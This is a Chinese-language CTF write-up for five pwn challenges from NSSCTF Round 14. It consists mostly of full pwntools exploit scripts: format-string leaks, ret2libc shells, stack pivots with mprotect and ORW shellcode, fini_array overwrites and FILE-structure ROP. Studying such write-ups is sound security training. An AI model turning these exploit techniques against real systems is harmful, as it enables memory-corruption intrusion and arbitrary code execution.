NSSCTF-Round-14-Basic
5 道pwn 题
love
存在 格式化字符串漏洞
然后进入 vuln 函数,然后直接溢出,由于上面需要的libc_base Canary 都已经有了,可以直接 return system(“/bin/sh”);
- exploit 非预期
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
b *0x40131B
continue
'''.format(**locals())
binary = './pwn'
libelf = './libc.so.6'
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
io = remote('node4.anna.nssctf.cn',28753)
#09:0048│ 0x7ffc410fe908 ◂— 0x10140a8aa00b1300
#0b:0058│ 0x7ffe19b67ea8 —▸ 0x7ff05691e083 (__libc_start_main+243) ◂— mov edi, eax
pay = f'%520c%9$hn%{0x9+0x6}$p%{0x0b+0x6}$p'
ru('Toka\n\n')
#gdb.attach(io)
sl(pay)
ru('0x')
cann = int(r(16),16)
__libc_start_main = int(r(14),16)
libc_base = __libc_start_main - 243 - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ls(hex(cann))
ls(hex(libc_base))
ru('level\n\n')
pay = 0x28 * b"A" + p64(cann)*2 + p64(rop.find_gadget(['ret'])[0])*1 + p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(bin_sh) + p64(system) + p64(elf.sym['main'])
sl(pay)
io.interactive()
- 预期解法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from ctypes import *
from struct import pack
banary = "./love"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = '127.0.0.1'
port = 10005
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
pop_rdi=0x00000000004013f3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x000000000040101a
#gdb.attach(io,'b *0x000000000040125D')
ru("I want to hear your praise of Toka\n")
payload='%'+str(520)+'c'+'%9$hhn'
sl(payload)
#pause()
payload=b'A'*0x28+p64(0xdeadbeef)+b'A'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['vuln'])
payload=payload.ljust(0x868,b'\x00')+p64(0xdeadbeef)*3
#payload=b'A'*8
ru("I know you like him, but you must pass my level\n")
sl(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase:"+hex(libcbase))
system=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
onegadget=libcbase+0xe3b01
ru("I know you like him, but you must pass my level\n")
payload=b'A'*0x28+p64(0xdeadbeef)+b'A'*8+p64(onegadget)
sl(payload)
ia()
rbp
ORW 拿flag
只能溢出 覆盖一个 ret ,需要利用栈迁移
控制 下一次 rbp 为bss上,然后再次read
然后写 rop 到 bss 上都会栈迁移也到这里
然后再 leave ret 栈迁移 泄露 libc上的地址
puts 结束后 我们再 返回到 vuln
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
b *0x0x404410
continue
'''.format(**locals())
binary = './rbp'
libelf = '/opt/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
#io = remote('node2.anna.nssctf.cn',28345)
bss = 0x404800
leave = 0x4012bf
pay = b'A' *0x0210 + p64(bss) + p64(0x401292)
gdb.attach(io)
s(pay)
pause()
pay = p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(elf.got['puts']) + p64(elf.sym['puts']) +p64(0x0401270) # vuln
pay = pay.ljust(0x0210,b'A')
pay += p64(bss-0x218) + p64(leave)
s(pay)
ru('\x40\x0a')
x = uu64(r(6))
libc_base = x - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ls(hex(libc_base))
libc_file = '/opt/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
libc_file = '/opt/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
libc_rop = ROP(libc_file)
def f(Str):
return libc_base + libc_rop.find_gadget([Str,'ret'])[0]
syscall_ret = f('syscall')
pop_rax = f('pop rax')
pop_rdi = f('pop rdi')
pop_rsi = f('pop rsi')
pop_rbx = f('pop rbx')
pop_adb = libc_base + 0x0000000000090528 # pop rax ; pop rdx ; pop rbx ; ret
pop_adb = libc_base + 0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret
pop_adb = libc_base + 0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
shellcode = asm(shellcode)
orw_rop = flat(
pop_rdi, bss-0x800, # rdi addr
pop_rsi, 0x1000, # rsi length
pop_adb, 0,7,0, # rdx per
libc_base + libc.sym['mprotect'], # 修改 权限
0x404448, # 此时栈已经 rwx了 所以直接返回到栈上执行代码
'\x90'*0x20,
shellcode
)
pay = orw_rop
pay = pay.ljust(0x0210,b'B')
#x = bss - 0x404610
#exe = 0x4045f0-0x1f0
#pay += p64(bss-0x1f8) + p64(leave)
#pay += p64(bss-0x1f8) + p64(leave)
pay += p64(0x4043f0) + p64(leave)
pause()
s(pay)
io.interactive()
第一次栈迁移泄露 libc
第二次 利用 mprotect 修改 bss 权限 为 rwx ,顺便把 orw shllcode 写到bss上,然后 ret2 shellcode
xor
-
第一次修改 flag的 高位 为 0xff 也就成负数了,然后就可以一直不退出程序
-
然后把shellcode 写到 bss 上,
- 程序退出时会执行
__do_global_dtors_aux_fini_array_entry
,相当于got - 我们把shellcode 的地址写进去,就可以执行了
__libc_csu_init
-> lea rbp, __do_global_dtors_aux_fini_array_entry
- 二次读 shellcode
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
b *0x004006FE
continue
'''.format(**locals())
binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
#io = remote('node1.anna.nssctf.cn',28651)
#sc = asm(shellcraft.sh())
sc = '''
xor eax,eax
xor edi,edi
push 0x78
pop rdx
push 0x600958
pop rsi
syscall
'''
sc = asm(sc)
print(len(sc))
print(disasm(sc))
pause()
def w(add,vul):
ru('addr: ')
sl(hex(add))
ru('value: ')
sl('0x' + hex(vul)[2:].rjust(2,'0'))
# 改 flag 高位,这样 flag就是负数了
w(0x0600BCC+3,0x100-0x10)
#gdb.attach(io)
# 把 read 的shellcode 写到 bss上
read = 0x600958
for i in range(0,len(sc)):
p1 = u8(sc[i:i+1])
add = (0x600958 + i)
w(add ,p1)
sc = p32(0x400610)
for i in range(0,len(sc)):
p1 = u8(sc[i:i+1])
add = 0x600970 + i
w(add ,p1)
sc = p32(read)
for i in range(0,len(sc)):
p1 = u8(sc[i:i+1])
add = 0x600970 + i
w(add ,p1)
#gdb.attach(io,'b *0x400610')
# exit
w(0x0600BCC+3,0x100-0x10)
pause()
pay = 0x16 * b'\x90'
pay += asm(shellcraft.sh())
sl(pay)
io.interactive()
read_file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
b *0x0401478
continue
'''.format(**locals())
binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ;
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
#io = remote('node5.anna.nssctf.cn',28140)
def load_file(name):
ru('>> ')
sl('1')
ru(' : ')
s(name)
load_file('dev/null')
load_file('flag\x00fla')
ru('>> ')
sl('2')
ru(' : ')
sl('55')
#gdb.attach(io)
rop=ROP(binary)
pay = b'A' * 55 + b'BBBBBBBBCCCCCCCCD'
pay += p64(0x401493) + p64(0x0401615) * 2 # 巧妙
sl(pay)
Girlfriends’ notebooks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = './pwn'
libelf = '/opt/pwn/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6'
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
def add(idx,size,text):
ru('choice: ')
sl('1')
ru("idx: ")
sl(str(idx))
ru('size: ')
sl(str(size))
ru('content: ')
s(text)
def show(idx):
ru('choice: ')
sl('2')
ru("idx: ")
sl(str(idx))
def edit(idx,text):
ru('choice: ')
sl('4')
ru("idx: ")
sl(str(idx))
ru("content: ")
sl(text)
io = start(binary)
#io = remote()
add(0,0x48,b'a'*0x58+p64(0x1001))
#add(0,0x48,b'a'*0x50)
add(1,0x2000,b'wsnd')
gdb.attach(io)
pause()
add(4,0x200,'B'*8)
show(4)
ru('B'*8)
main_arena = uu64(r(6))
ls(hex(main_arena))
libc_base = main_arena - 2204400
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(main_arena))
log.success(hex(libc_base))
io_file = FileStructure()
libc.address = libc_base
rop = ROP(libc)
pop_rbp_addr = rop.find_gadget(["pop rbp","ret"])[0]
leave_ret_addr = rop.find_gadget(["leave","ret"])[0]
standard_FILE_addr = libc.sym['_IO_2_1_stdout_']
_IO_wfile_jumps_addr = libc.sym["_IO_wfile_jumps"]
fake_rbp_addr = libc.address+0x21a860-8 # libc.address+0x21a860-8 开始写 rop 链
io_file.flags = 0
io_file._IO_read_ptr = pop_rbp_addr
io_file._IO_read_end = fake_rbp_addr
io_file._IO_read_base = leave_ret_addr
io_file._IO_write_base = 0
io_file._IO_write_ptr = 1
io_file.unknown2 |= (0 << 192)
io_file._lock = standard_FILE_addr-0x10
io_file.chain = leave_ret_addr
io_file._codecvt = standard_FILE_addr
io_file._wide_data = standard_FILE_addr - 0x48
io_file.vtable = _IO_wfile_jumps_addr
rdi = rop.find_gadget(["pop rdi","ret"])[0]
rsi = rop.find_gadget(["pop rsi","ret"])[0]
rdx= rop.find_gadget(["pop rdx","pop r12","ret"])[0]
open_ = libc.sym['open']
read_= libc.sym['read']
puts = libc.sym['puts']
write_ = libc.sym['write']
flag = libc.address+0x21a908
payload = bytes(io_file)
payload += p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(open_)
payload += p64(rdi)+p64(3)+p64(rsi)+p64(libc.address+0x21af00)+p64(rdx)+p64(0xff)+p64(0)+p64(read_)
payload += p64(rdi)+p64(1)+p64(rsi)+p64(libc.address+0x21af00)+p64(rdx)+p64(0xff)+p64(0)+p64(write_)
payload += b"/flag\x00"
ls(hex(fake_rbp_addr))
edit(-8,payload)
io.interactive()
本文由作者按照
CC BY 4.0
进行授权